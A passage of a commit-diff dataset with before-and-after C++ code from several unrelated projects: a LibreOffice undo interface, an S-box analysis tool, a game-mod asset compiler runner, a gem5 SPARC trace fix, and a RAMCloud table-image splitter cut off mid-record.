String* pStr, SwUndoIds *pRedoIds) const = 0;\n\n \/**\n *\/\n virtual String GetRepeatIdsStr( String* pStr, SwUndoIds *pRedoIds) const = 0;\n\n \/** interne Verkuerzung fuer Insert am Ende\n *\/\n virtual void AppendUndo(SwUndo*) = 0;\n\n \/** loescht alle UndoObjecte von nUndoPos\n bis zum Ende des Undo-Arrays\n *\/\n virtual void ClearRedo() = 0;\n\n \/** Manipulates the position of the undo stack which reset the modified flag\n *\/\n virtual void setUndoNoModifiedPosition( SwUndoNoModifiedPosition ) = 0;\n\n \/** Gets the position of the undo stack which reset the modified flag\n *\/\n virtual SwUndoNoModifiedPosition getUndoNoModifiedPosition() const = 0;\n\nprotected:\n virtual ~IDocumentUndoRedo() {};\n};\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <vector>\n#include <cassert>\n\n#include \"structures.h\"\n\n#define abs(x) ((x)<0 ? -(x) : (x))\n\nint op(int x) {\n int ret ;\n ret = x&1 ;\n x >>= 1 ;\n for(int i = 0 ; i < 31 ; i++) {\n ret ^= x&1 ;\n x >>= 1 ;\n }\n return ret ;\n}\n\nvoid check(void) {\n assert(op(0b1110101101)) ;\n assert(op(0b11100101100100)) ;\n assert(!op(0b11101101101)) ;\n assert(!op(0b111001011010100)) ;\n}\n\nint main(int argc, char *argv[]) {\n if(argc != 2) {\n std::cerr << \"Syntax:\" << argv[0] << \" <size of the S box>\" << std::endl ;\n return 1 ;\n }\n std::vector<int> substitution = {7, 3, 6, 1, 13, 9, 10, 11, 2, 12, 0, 4, 5, 15, 8, 14} ;\n std::vector<std::pair<int,int>> goodKeys ;\n int S = atoi(argv[1]) ;\n int nbElt = 1<<S ;\n std::cout << \"\\\\[\\n\\\\bordermatrix{\\n& \" ;\n for(int b = 0 ; b < nbElt-1 ; b++) {\n std::cout << b << \" & \" ;\n }\n std::cout << nbElt-1 << \"\\\\cr\\n\" ;\n for(int a = 0 ; a < nbElt ; a++) {\n std::cout << a << \" & \" ;\n for(int b = 0 ; b < nbElt ; b++) {\n int nbKey = 0 ;\n for(int c = 0 ; c < nbElt ; c++) {\n Block blockA(a) ;\n Block blockB(b) ;\n Block key(c) ;\n blockA.product(key) ;\n key.substitution() ;\n blockB.product(key) ;\n if(blockA.bitsXor() == blockB.bitsXor()) {\n nbKey ++ ;\n }\n }\n std::cout << nbKey ;\n double proba = ((double)nbKey)\/16 ;\n if(abs(proba - 0.5) > 0.3) {\n \/\/ std::cout << nbKey ;\n goodKeys.push_back(std::pair<int,int>(a, b)) ;\n }\n if(b < nbElt-1)\n std::cout << \" & \" ;\n }\n std::cout << \"\\\\cr\\n\" ;\n }\n std::cout << \"}\\n\\\\]\\n\";\n std::cout << \"Couples (a, b) with the highest probability:\\n\\\\[\" ;\n if(goodKeys.size() > 0)\n std::cout << \"(\" << goodKeys[0].first << \", \" << goodKeys[0].second << \")\" ;\n for(unsigned i = 1 ; i < goodKeys.size() ; i++) {\n std::cout << \", (\" << goodKeys[i].first << \", \" << goodKeys[i].second << \")\" ;\n }\n std::cout << \"\\\\]\\n\" ;\n return 0 ;\n}\n<commit_msg>Remove useless stuff.<commit_after>#include <iostream>\n#include <fstream>\n#include <vector>\n#include <cassert>\n\n#include \"structures.h\"\n\nint main(int argc, char *argv[]) {\n if(argc != 2) {\n std::cerr << \"Syntax:\" << argv[0] << \" <size of the S box>\" << std::endl ;\n return 1 ;\n }\n std::vector<std::pair<int,int>> goodKeys ;\n int S = atoi(argv[1]) ;\n int nbElt = 1<<S ;\n std::cout << \"\\\\[\\n\\\\bordermatrix{\\n& \" ;\n for(int b = 0 ; b < nbElt-1 ; b++) {\n std::cout << b << \" & \" ;\n }\n std::cout << nbElt-1 << \"\\\\cr\\n\" ;\n for(int a = 0 ; a < nbElt ; a++) {\n std::cout << a << \" & \" ;\n for(int b = 0 ; b < nbElt ; b++) {\n int nbKey = 0 ;\n for(int c = 0 ; c < nbElt ; c++) {\n Block blockA(a) ;\n Block blockB(b) ;\n Block key(c) ;\n blockA.product(key) ;\n key.substitution() ;\n blockB.product(key) ;\n if(blockA.bitsXor() == blockB.bitsXor()) {\n nbKey ++ ;\n }\n }\n std::cout << nbKey ;\n double proba = ((double)nbKey)\/16 ;\n if(abs(proba - 0.5) > 0.3) {\n \/\/ std::cout << nbKey ;\n goodKeys.push_back(std::pair<int,int>(a, b)) ;\n }\n if(b < nbElt-1)\n std::cout << \" & \" ;\n }\n std::cout << \"\\\\cr\\n\" ;\n }\n std::cout << \"}\\n\\\\]\\n\";\n std::cout << \"Couples (a, b) with the highest probability:\\n\\\\[\" ;\n if(goodKeys.size() > 0)\n std::cout << \"(\" << goodKeys[0].first << \", \" << goodKeys[0].second << \")\" ;\n for(unsigned i = 1 ; i < goodKeys.size() ; i++) {\n std::cout << \", (\" << goodKeys[i].first << \", \" << goodKeys[i].second << \")\" ;\n }\n std::cout << \"\\\\]\\n\" ;\n return 0 ;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <vector>\n#include <fstream>\n#include <string>\n#include <sys\/stat.h>\n#include <Windows.h>\n#include <tinydir\/tinydir.h>\n\nchar appplication_folder[1024];\nvoid set_application_folder( char const* application_path )\n{\n int length = strrchr( application_path, '\\\\' ) - application_path + 1;\n memcpy( appplication_folder, application_path, length );\n appplication_folder[length] = 0;\n}\n\nchar const* get_application_folder()\n{\n return appplication_folder;\n}\n\nbool run( char* command_line )\n{\n\treturn system( command_line ) == 0;\n}\n\n\nstruct compiler\n{\n compiler( char const* compiler_path )\n : path( compiler_path )\n {\n int ext_begin = strrchr(compiler_path, '\\\\') - compiler_path + 1;\n int ext_end = strrchr(compiler_path, '.') - compiler_path - ext_begin;\n extension = path.substr(ext_begin, ext_end);\n }\n\n void compile( char const* asset_path, char const* output_folder )\n {\n char command_line[1024];\n sprintf( command_line, \"%s \\\"%s\\\" \\\"%s\\\"\", path.c_str(), asset_path, output_folder );\n run( command_line ); \n }\n\n std::string extension;\n std::string path;\n};\n\ntypedef std::vector< std::string > file_list;\ntypedef std::vector< compiler* > compiler_list;\n\nvoid list_files( char const* folder, char const* extension, file_list& files )\n{\n char search_key[1024];\n sprintf( search_key, \"%s\\\\*\", folder, extension );\n\n WIN32_FIND_DATA find_data;\n HANDLE find_handle = FindFirstFile( search_key, &find_data );\n \n if( find_handle != INVALID_HANDLE_VALUE )\n {\n do\n {\n if( strstr( find_data.cFileName, extension ) && strlen( strstr( find_data.cFileName, extension ) ) == strlen( extension ) )\n {\n char file_path[1024];\n sprintf( file_path, \"%s\\\\%s\", folder, find_data.cFileName );\n files.push_back( file_path );\n }\n else if( find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )\n {\n if( find_data.cFileName[0] != '.' )\n {\n char subfolder[2048];\n sprintf( subfolder, \"%s\\\\%s\", folder, find_data.cFileName );\n\n list_files( subfolder, extension, files );\n }\n }\n }while( FindNextFile( find_handle, &find_data ) );\n }\n}\n\nvoid list_folders( char const* path, file_list& folders )\n{\n char search_key[1024];\n sprintf( search_key, \"%s\\\\*\", path );\n\n WIN32_FIND_DATA find_data;\n HANDLE find_handle = FindFirstFile( search_key, &find_data );\n\n if( find_handle != INVALID_HANDLE_VALUE )\n {\n do\n {\n if( find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )\n {\n if( find_data.cFileName[0] != '.' )\n {\n char subfolder[2048];\n sprintf( subfolder, \"%s\\\\%s\", path, find_data.cFileName );\n\n folders.push_back( subfolder );\n }\n }\n }while( FindNextFile( find_handle, &find_data ) );\n }\n}\n\ncompiler_list get_compilers( char const* folder )\n{\n file_list paths;\n list_files( folder, \"exe\", paths );\n compiler_list compilers;\n for( file_list::iterator iter = paths.begin(); iter != paths.end(); ++iter )\n {\n char const* path = (*iter).c_str();\n compilers.push_back( new compiler( path ) );\n }\n return compilers;\n}\n\nvoid compile_folder( compiler* c, char const* asset_folder, char const* mod_folder )\n{\n file_list files;\n list_files( asset_folder, c->extension.c_str(), files );\n for( file_list::iterator file_iter = files.begin(); file_iter != files.end(); ++file_iter )\n {\n c->compile( file_iter->c_str(), mod_folder );\n } \n}\n\nvoid get_asset_folders( compiler& c, file_list& asset_folders )\n{\n std::string asset_list_path = c.path + std::string( \".txt\" );\n std::ifstream in = std::ifstream( asset_list_path.c_str() );\n\n char path[1024];\n while( !in.eof() )\n {\n in.getline( path, sizeof( path ) );\n asset_folders.push_back( path );\n }\n}\n\n\nint main( int argument_count, char** arguments )\n{\n char module_name[1024];\n GetModuleFileName( 0, module_name, 1024 );\n set_application_folder( module_name );\n\n file_list mod_folders;\n char mods_folder[1024];\n \n sprintf( mods_folder, \"%s..\\\\..\\\\mods\", get_application_folder() );\n list_folders( mods_folder, mod_folders );\n\n sprintf( mods_folder, \"%s..\\\\..\\\\dont_starve\\\\mods\", get_application_folder() );\n list_folders( mods_folder, mod_folders );\n\n char compilers_folder[1024] ;\n sprintf( compilers_folder, \"%scompilers\", get_application_folder() );\n\n compiler_list compilers = get_compilers( compilers_folder );\n for( compiler_list::iterator iter = compilers.begin(); iter != compilers.end(); ++iter )\n {\n compiler* c = *iter;\n file_list asset_folders;\n get_asset_folders( *c, asset_folders );\n \n for( file_list::iterator mod_folder_iter = mod_folders.begin(); mod_folder_iter != mod_folders.end(); ++mod_folder_iter )\n {\n for( file_list::iterator asset_folder_iter = asset_folders.begin(); asset_folder_iter != asset_folders.end(); ++asset_folder_iter )\n {\n char asset_folder[1024];\n sprintf( asset_folder, \"%s\/%s\", mod_folder_iter->c_str(), asset_folder_iter->c_str() );\n compile_folder( c, asset_folder, mod_folder_iter->c_str() );\n }\n }\n }\n\n return 0;\n}<commit_msg>Just use arg[0] to get application folder. Removes another windows.h dependency.<commit_after>#include <vector>\n#include <fstream>\n#include <string>\n#include <sys\/stat.h>\n#include <Windows.h>\n#include <tinydir\/tinydir.h>\n\nchar appplication_folder[1024];\nvoid set_application_folder( char const* application_path )\n{\n int length = strrchr( application_path, '\\\\' ) - application_path + 1;\n memcpy( appplication_folder, application_path, length );\n appplication_folder[length] = 0;\n}\n\nchar const* get_application_folder()\n{\n return appplication_folder;\n}\n\nbool run( char* command_line )\n{\n\treturn system( command_line ) == 0;\n}\n\n\nstruct compiler\n{\n compiler( char const* compiler_path )\n : path( compiler_path )\n {\n int ext_begin = strrchr(compiler_path, '\\\\') - compiler_path + 1;\n int ext_end = strrchr(compiler_path, '.') - compiler_path - ext_begin;\n extension = path.substr(ext_begin, ext_end);\n }\n\n void compile( char const* asset_path, char const* output_folder )\n {\n char command_line[1024];\n sprintf( command_line, \"%s \\\"%s\\\" \\\"%s\\\"\", path.c_str(), asset_path, output_folder );\n run( command_line ); \n }\n\n std::string extension;\n std::string path;\n};\n\ntypedef std::vector< std::string > file_list;\ntypedef std::vector< compiler* > compiler_list;\n\nvoid list_files( char const* folder, char const* extension, file_list& files )\n{\n char search_key[1024];\n sprintf( search_key, \"%s\\\\*\", folder, extension );\n\n WIN32_FIND_DATA find_data;\n HANDLE find_handle = FindFirstFile( search_key, &find_data );\n \n if( find_handle != INVALID_HANDLE_VALUE )\n {\n do\n {\n if( strstr( find_data.cFileName, extension ) && strlen( strstr( find_data.cFileName, extension ) ) == strlen( extension ) )\n {\n char file_path[1024];\n sprintf( file_path, \"%s\\\\%s\", folder, find_data.cFileName );\n files.push_back( file_path );\n }\n else if( find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )\n {\n if( find_data.cFileName[0] != '.' )\n {\n char subfolder[2048];\n sprintf( subfolder, \"%s\\\\%s\", folder, find_data.cFileName );\n\n list_files( subfolder, extension, files );\n }\n }\n }while( FindNextFile( find_handle, &find_data ) );\n }\n}\n\nvoid list_folders( char const* path, file_list& folders )\n{\n char search_key[1024];\n sprintf( search_key, \"%s\\\\*\", path );\n\n WIN32_FIND_DATA find_data;\n HANDLE find_handle = FindFirstFile( search_key, &find_data );\n\n if( find_handle != INVALID_HANDLE_VALUE )\n {\n do\n {\n if( find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )\n {\n if( find_data.cFileName[0] != '.' )\n {\n char subfolder[2048];\n sprintf( subfolder, \"%s\\\\%s\", path, find_data.cFileName );\n\n folders.push_back( subfolder );\n }\n }\n }while( FindNextFile( find_handle, &find_data ) );\n }\n}\n\ncompiler_list get_compilers( char const* folder )\n{\n file_list paths;\n list_files( folder, \"exe\", paths );\n compiler_list compilers;\n for( file_list::iterator iter = paths.begin(); iter != paths.end(); ++iter )\n {\n char const* path = (*iter).c_str();\n compilers.push_back( new compiler( path ) );\n }\n return compilers;\n}\n\nvoid compile_folder( compiler* c, char const* asset_folder, char const* mod_folder )\n{\n file_list files;\n list_files( asset_folder, c->extension.c_str(), files );\n for( file_list::iterator file_iter = files.begin(); file_iter != files.end(); ++file_iter )\n {\n c->compile( file_iter->c_str(), mod_folder );\n } \n}\n\nvoid get_asset_folders( compiler& c, file_list& asset_folders )\n{\n std::string asset_list_path = c.path + std::string( \".txt\" );\n std::ifstream in = std::ifstream( asset_list_path.c_str() );\n\n char path[1024];\n while( !in.eof() )\n {\n in.getline( path, sizeof( path ) );\n asset_folders.push_back( path );\n }\n}\n\n\nint main( int argument_count, char** arguments )\n{\n set_application_folder( arguments[0] );\n\n file_list mod_folders;\n char mods_folder[1024];\n \n sprintf( mods_folder, \"%s..\\\\..\\\\mods\", get_application_folder() );\n list_folders( mods_folder, mod_folders );\n\n sprintf( mods_folder, \"%s..\\\\..\\\\dont_starve\\\\mods\", get_application_folder() );\n list_folders( mods_folder, mod_folders );\n\n char compilers_folder[1024] ;\n sprintf( compilers_folder, \"%scompilers\", get_application_folder() );\n\n compiler_list compilers = get_compilers( compilers_folder );\n for( compiler_list::iterator iter = compilers.begin(); iter != compilers.end(); ++iter )\n {\n compiler* c = *iter;\n file_list asset_folders;\n get_asset_folders( *c, asset_folders );\n \n for( file_list::iterator mod_folder_iter = mod_folders.begin(); mod_folder_iter != mod_folders.end(); ++mod_folder_iter )\n {\n for( file_list::iterator asset_folder_iter = asset_folders.begin(); asset_folder_iter != asset_folders.end(); ++asset_folder_iter )\n {\n char asset_folder[1024];\n sprintf( asset_folder, \"%s\/%s\", mod_folder_iter->c_str(), asset_folder_iter->c_str() );\n compile_folder( c, asset_folder, mod_folder_iter->c_str() );\n }\n }\n }\n\n return 0;\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *\/\n\n#include \"arch\/sparc\/isa_traits.hh\"\n#include \"arch\/sparc\/registers.hh\"\n#include \"arch\/sparc\/nativetrace.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"params\/SparcNativeTrace.hh\"\n\nnamespace Trace {\n\nstatic char *intRegNames[SparcISA::NumIntArchRegs] = {\n \/\/Global registers\n \"g0\", \"g1\", \"g2\", \"g3\", \"g4\", \"g5\", \"g6\", \"g7\",\n \/\/Output registers\n \"o0\", \"o1\", \"o2\", \"o3\", \"o4\", \"o5\", \"o6\", \"o7\",\n \/\/Local registers\n \"l0\", \"l1\", \"l2\", \"l3\", \"l4\", \"l5\", \"l6\", \"l7\",\n \/\/Input registers\n \"i0\", \"i1\", \"i2\", \"i3\", \"i4\", \"i5\", \"i6\", \"i7\",\n};\n\nvoid\nTrace::SparcNativeTrace::check(NativeTraceRecord *record)\n{\n ThreadContext *tc = record->getThread();\n\n uint64_t regVal, realRegVal;\n\n \/\/ Integer registers\n\n \/\/ I doubt a real SPARC will describe more integer registers than this.\n assert(SparcISA::NumIntArchRegs == 32);\n char **regName = intRegNames;\n for (int i = 0; i < SparcISA::NumIntArchRegs; i++) {\n regVal = tc->readIntReg(i);\n read(&realRegVal, sizeof(realRegVal));\n realRegVal = SparcISA::gtoh(realRegVal);\n checkReg(*(regName++), regVal, realRegVal);\n }\n\n \/\/ PC\n read(&realRegVal, sizeof(realRegVal));\n realRegVal = SparcISA::gtoh(realRegVal);\n regVal = tc->readNextPC();\n checkReg(\"pc\", regVal, realRegVal);\n\n \/\/ NPC\n read(&realRegVal, sizeof(realRegVal));\n realRegVal = SparcISA::gtoh(realRegVal);\n regVal = tc->readNextNPC();\n checkReg(\"npc\", regVal, realRegVal);\n\n \/\/ CCR\n read(&realRegVal, sizeof(realRegVal));\n realRegVal = SparcISA::gtoh(realRegVal);\n regVal = tc->readIntReg(SparcISA::NumIntArchRegs + 2);\n checkReg(\"ccr\", regVal, realRegVal);\n}\n\n} \/* namespace Trace *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ ExeTracer Simulation Object\n\/\/\nTrace::SparcNativeTrace *\nSparcNativeTraceParams::create()\n{\n return new Trace::SparcNativeTrace(this);\n};\n<commit_msg>SPARC: Fix a minor compile bug in native trace on gcc > 4.1.<commit_after>\/*\n * Copyright (c) 2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *\/\n\n#include \"arch\/sparc\/isa_traits.hh\"\n#include \"arch\/sparc\/registers.hh\"\n#include \"arch\/sparc\/nativetrace.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"params\/SparcNativeTrace.hh\"\n\nnamespace Trace {\n\nstatic const char *intRegNames[SparcISA::NumIntArchRegs] = {\n \/\/Global registers\n \"g0\", \"g1\", \"g2\", \"g3\", \"g4\", \"g5\", \"g6\", \"g7\",\n \/\/Output registers\n \"o0\", \"o1\", \"o2\", \"o3\", \"o4\", \"o5\", \"o6\", \"o7\",\n \/\/Local registers\n \"l0\", \"l1\", \"l2\", \"l3\", \"l4\", \"l5\", \"l6\", \"l7\",\n \/\/Input registers\n \"i0\", \"i1\", \"i2\", \"i3\", \"i4\", \"i5\", \"i6\", \"i7\",\n};\n\nvoid\nTrace::SparcNativeTrace::check(NativeTraceRecord *record)\n{\n ThreadContext *tc = record->getThread();\n\n uint64_t regVal, realRegVal;\n\n \/\/ Integer registers\n\n \/\/ I doubt a real SPARC will describe more integer registers than this.\n assert(SparcISA::NumIntArchRegs == 32);\n const char **regName = intRegNames;\n for (int i = 0; i < SparcISA::NumIntArchRegs; i++) {\n regVal = tc->readIntReg(i);\n read(&realRegVal, sizeof(realRegVal));\n realRegVal = SparcISA::gtoh(realRegVal);\n checkReg(*(regName++), regVal, realRegVal);\n }\n\n \/\/ PC\n read(&realRegVal, sizeof(realRegVal));\n realRegVal = SparcISA::gtoh(realRegVal);\n regVal = tc->readNextPC();\n checkReg(\"pc\", regVal, realRegVal);\n\n \/\/ NPC\n read(&realRegVal, sizeof(realRegVal));\n realRegVal = SparcISA::gtoh(realRegVal);\n regVal = tc->readNextNPC();\n checkReg(\"npc\", regVal, realRegVal);\n\n \/\/ CCR\n read(&realRegVal, sizeof(realRegVal));\n realRegVal = SparcISA::gtoh(realRegVal);\n regVal = tc->readIntReg(SparcISA::NumIntArchRegs + 2);\n checkReg(\"ccr\", regVal, realRegVal);\n}\n\n} \/* namespace Trace *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ ExeTracer Simulation Object\n\/\/\nTrace::SparcNativeTrace *\nSparcNativeTraceParams::create()\n{\n return new Trace::SparcNativeTrace(this);\n};\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2009-2015 Stanford University\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR(S) DISCLAIM ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL AUTHORS BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include <stdio.h>\n#include <string.h>\n#include <getopt.h>\n#include <assert.h>\n\n#include <iostream>\n#include <fstream>\n\n#include \"ClusterMetrics.h\"\n#include \"Context.h\"\n#include \"Cycles.h\"\n#include \"Dispatch.h\"\n#include \"ShortMacros.h\"\n#include \"Crc32C.h\"\n#include \"ObjectFinder.h\"\n#include \"OptionParser.h\"\n#include \"RamCloud.h\"\n#include \"Tub.h\"\n#include \"IndexLookup.h\"\n#include \"TableEnumerator.h\"\n\nusing namespace RAMCloud;\n\n\/**\n * A utility for splitting table images generated by the TableDownloader\n * into chunks of equal size (measured in RAMCloud objects). Once split, those\n * parts can be uploaded in parallel by the TableUploader.\n *\/\nint\nmain(int argc, char *argv[])\ntry\n{\n string imageFilePath;\n long objectsPerFile;\n string outputDir;\n string splitSuffixFormat;\n\n \/\/ Set line buffering for stdout so that printf's and log messages\n \/\/ interleave properly.\n setvbuf(stdout, NULL, _IOLBF, 1024);\n\n \/\/ Need external context to set log levels with OptionParser\n Context context(false);\n\n OptionsDescription clientOptions(\"TableImageSplitter\");\n clientOptions.add_options()\n\n (\"imageFile\",\n ProgramOptions::value<string>(&imageFilePath),\n \"Path to the image file to split.\")\n (\"objectsPerFile\",\n ProgramOptions::value<long>(&objectsPerFile),\n \"How many objects to pack into a partition.\")\n (\"outputDir\",\n ProgramOptions::value<string>(&outputDir),\n \"Directory to write split files.\")\n (\"splitSuffixFormat\",\n ProgramOptions::value<string>(&splitSuffixFormat)->\n default_value(\".part%04d\"),\n \"Format string of the suffix to use for partitions. Must contain \"\n \"exactly one %d. [default: \\\".part%04d\\\"].\");\n \n OptionParser optionParser(clientOptions, argc, argv);\n\n printf(\"TableImageSplitter: {imageFile: %s, objectsPerFile: %u, \"\n \"outputDir: %s, splitSuffixFormat: %s}\\n\", imageFilePath.c_str(), \n objectsPerFile, outputDir.c_str(), splitSuffixFormat.c_str());\n\n \/\/ Open image file for splitting. \n std::ifstream inFile;\n inFile.open(imageFilePath.c_str(), std::ios::binary);\n\n size_t lastSlashIndex = imageFilePath.find_last_of(\"\/\");\n string imageFileName;\n if (lastSlashIndex != string::npos)\n imageFileName = imageFilePath.substr(lastSlashIndex + 1);\n else \n imageFileName = imageFilePath;\n\n long partitionCount = 0; \/\/ How many partitions we've created so far.\n long objCount = 0; \/\/ How many objects are in the current partition.\n long totalObjCount = 0; \/\/ How many objects have we copied in total.\n long byteCount = 0; \/\/ How many total bytes have we copied so far.\n\n \/\/ Open initial output file for first partition.\n char *outFileName;\n asprintf(&outFileName, \n (outputDir + \"\/\" + imageFileName + splitSuffixFormat).c_str(),\n partitionCount); \n std::ofstream outFile;\n outFile.open(outFileName, std::ios::binary);\n printf(\"Creating %s... \", outFileName);\n free(outFileName);\n\n \/\/ Read the imagefile until there are no more objects left in the file.\n char lenBuffer[sizeof(uint32_t)];\n while(inFile.read(lenBuffer, sizeof(lenBuffer))) {\n uint32_t keyLength = *((uint32_t*) lenBuffer); \n char keyBuffer[keyLength];\n inFile.read(keyBuffer, keyLength);\n \n inFile.read(lenBuffer, sizeof(lenBuffer));\n uint32_t dataLength = *((uint32_t*) lenBuffer);\n char dataBuffer[dataLength];\n inFile.read(dataBuffer, dataLength);\n\n \/\/ Copy object to output file.\n outFile.write((char*) &keyLength, sizeof(uint32_t));\n outFile.write((char*) keyBuffer, keyLength);\n outFile.write((char*) &dataLength, sizeof(uint32_t));\n outFile.write((char*) dataBuffer, dataLength);\n\n objCount++;\n totalObjCount++;\n byteCount += keyLength + dataLength;\n\n \/\/ If we've filled up the partition, close it and start a new one.\n if (objCount == objectsPerFile) {\n outFile.close();\n partitionCount++;\n printf(\"Done\\n\");\n\n asprintf(&outFileName, \n (outputDir + \"\/\" + imageFileName + splitSuffixFormat).c_str(),\n partitionCount); \n outFile.open(outFileName, std::ios::binary);\n printf(\"Creating %s... \", outFileName);\n free(outFileName);\n \n objCount = 0;\n }\n }\n\n outFile.close();\n partitionCount++;\n printf(\"Done\\n\");\n\n inFile.close();\n\n printf(\"Split table image into %u partitions. Total objects: %u. Total \"\n \"bytes: %u\\n\", partitionCount, totalObjCount, byteCount);\n\n return 0;\n} catch (Exception& e) {\n fprintf(stderr, \"Exception: %s\\n\", e.str().c_str());\n return 1;\n}\n\n<commit_msg>Added bytePerFile opt to TableImageSplitter.<commit_after>\/* Copyright (c) 2009-2015 Stanford University\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR(S) DISCLAIM ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL AUTHORS BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include <stdio.h>\n#include <string.h>\n#include <getopt.h>\n#include <assert.h>\n\n#include <iostream>\n#include <fstream>\n\n#include \"ClusterMetrics.h\"\n#include \"Context.h\"\n#include \"Cycles.h\"\n#include \"Dispatch.h\"\n#include \"ShortMacros.h\"\n#include \"Crc32C.h\"\n#include \"ObjectFinder.h\"\n#include \"OptionParser.h\"\n#include \"RamCloud.h\"\n#include \"Tub.h\"\n#include \"IndexLookup.h\"\n#include \"TableEnumerator.h\"\n\nusing namespace RAMCloud;\n\n\/**\n * A utility for splitting table images generated by the TableDownloader\n * into chunks of equal size (measured in RAMCloud objects). Once split, those\n * parts can be uploaded in parallel by the TableUploader.\n *\/\nint\nmain(int argc, char *argv[])\ntry\n{\n string imageFilePath;\n long objectsPerFile;\n long 